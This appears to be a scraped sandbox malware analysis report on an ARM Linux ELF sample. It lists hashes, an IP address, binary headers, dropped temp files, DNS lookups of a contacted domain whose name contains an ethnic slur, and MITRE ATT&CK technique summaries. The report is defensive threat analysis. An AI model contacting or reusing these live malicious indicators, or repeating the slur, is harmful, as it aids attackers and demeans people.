	jklarm.elf	Get hash	malicious	Browse	157.245.102.148

Process:	/tmp/uekXXxUc43.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.6182994301311515
Encrypted:	false
SSDEEP:	6:QVDFh+7Y/VUS/FYDFhp/VjmsVot/VOArB/VH:QV4S/FQUl
MD5:	AED872ECD12C111119747610DA312632
SHA1:	65A02D759F5DC98466AA1CADDD4B2B801247E070
SHA-256:	B1346B44A575EEB64E2895B149FAD081D5B6CA985FDB3F08A0E9EE70745C5756
SHA-512:	5B94AF0978F514BE2DF3A4182BFBFB9B40EEE3ED3DB892E90C0E290DF53110DFE7CF0D8A1CF15CF3CCCEFE3AD221E43BB68528394E35A14DA4C0603AFB9C96D2
Malicious:	false
Reputation:	low
Preview:	8000-1c000 r-xp 00000000 fd:00 531606 /tmp/uekXXxUc43.elf.23000-24000 rw-p 00013000 fd:00 531606 /tmp/uekXXxUc43.elf.24000-27000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.26307238798547
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	uekXXxUc43.elf
File size:	80600
MD5:	3ef9599432ae943c3a3d8b4e9fe715d2
SHA1:	5fac4c96c8a626bc4722db718a05d0c5ab142da3
SHA256:	1967cdb03e86829b29b74b6ccae1b711948873d0133f17807e4fa3a71b8d6184
SHA512:	2c3ada89b0842664c04262bcf417f1096cf629c1aaf421b9235d3d91b1ed12150b21e06cd597149ad2a0067a8d833ec2bdd72e38890f3d00421ea86c0e1ece8b
SSDEEP:	1536:TNe6DCt7iG4fVMUhcmu9t5+wPFeYO5L36jZV7vSdM:Je6Do6fyb+w0YOhM3Y
TLSH:	FF733995BC819617C6D112BBFAAF41CC332613E8D2EB3203ED216F21378A95B0E77655
File Content Preview:	.ELF...a..........(.........4... 9......4. ...(......................4...4...............5...5...5.......&..........Q.td..................................-...L."...BA..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report uekXXxUc43.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.02X44l (deleted)

/tmp/qemu-open.0Q3BWn (deleted)

/tmp/qemu-open.0QdTNk (deleted)

/tmp/qemu-open.0WFdzm (deleted)

/tmp/qemu-open.0b2q5l (deleted)

/tmp/qemu-open.0fSPVo (deleted)

/tmp/qemu-open.0gtbrk (deleted)

/tmp/qemu-open.0yOaNk (deleted)

/tmp/qemu-open.17qlOm (deleted)

/tmp/qemu-open.1Am0Dk (deleted)

/tmp/qemu-open.1TV9Yk (deleted)

/tmp/qemu-open.1ecIMm (deleted)

/tmp/qemu-open.1xdnIm (deleted)

/tmp/qemu-open.1ydyAl (deleted)

/tmp/qemu-open.2ugrbm (deleted)

/tmp/qemu-open.39wzio (deleted)

/tmp/qemu-open.45Rt0m (deleted)

/tmp/qemu-open.4ekmYm (deleted)

/tmp/qemu-open.53kAio (deleted)

/tmp/qemu-open.5ScfBn (deleted)

/tmp/qemu-open.5UTRfk (deleted)

/tmp/qemu-open.5WAk2j (deleted)

/tmp/qemu-open.5hdbtn (deleted)

/tmp/qemu-open.5mijRm (deleted)

/tmp/qemu-open.5tI0pl (deleted)

/tmp/qemu-open.6AApCk (deleted)

/tmp/qemu-open.6GovIr (deleted)

Linux Analysis Report
uekXXxUc43.elf

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x10540	0x0	0x6	AX	16
.fini	PROGBITS	0x185f0	0x105f0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x18604	0x10604	0x2ef8	0x0	0x2	A	4
.ctors	PROGBITS	0x23500	0x13500	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x23508	0x13508	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x23510	0x13510	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x23514	0x13514	0x3c8	0x0	0x3	WA	4
.bss	NOBITS	0x238dc	0x138dc	0x22b0	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x138dc	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x134fc	0x134fc	6.2982	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x13500	0x23500	0x23500	0x3dc	0x268c	2.5852	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 31, 2023 18:47:04.058509111 CET	192.168.2.23	8.8.8.8	0xffb1	Standard query (0)	dogeatingchink.uno	A (IP address)	IN (0x0001)	false
Jan 31, 2023 18:47:09.061410904 CET	192.168.2.23	8.8.8.8	0xffb1	Standard query (0)	dogeatingchink.uno	A (IP address)	IN (0x0001)	false

Start time:	18:47:02
Start date:	31/01/2023
Path:	/tmp/uekXXxUc43.elf
Arguments:	/tmp/uekXXxUc43.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time:	18:47:03
Start date:	31/01/2023
Path:	/tmp/uekXXxUc43.elf
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre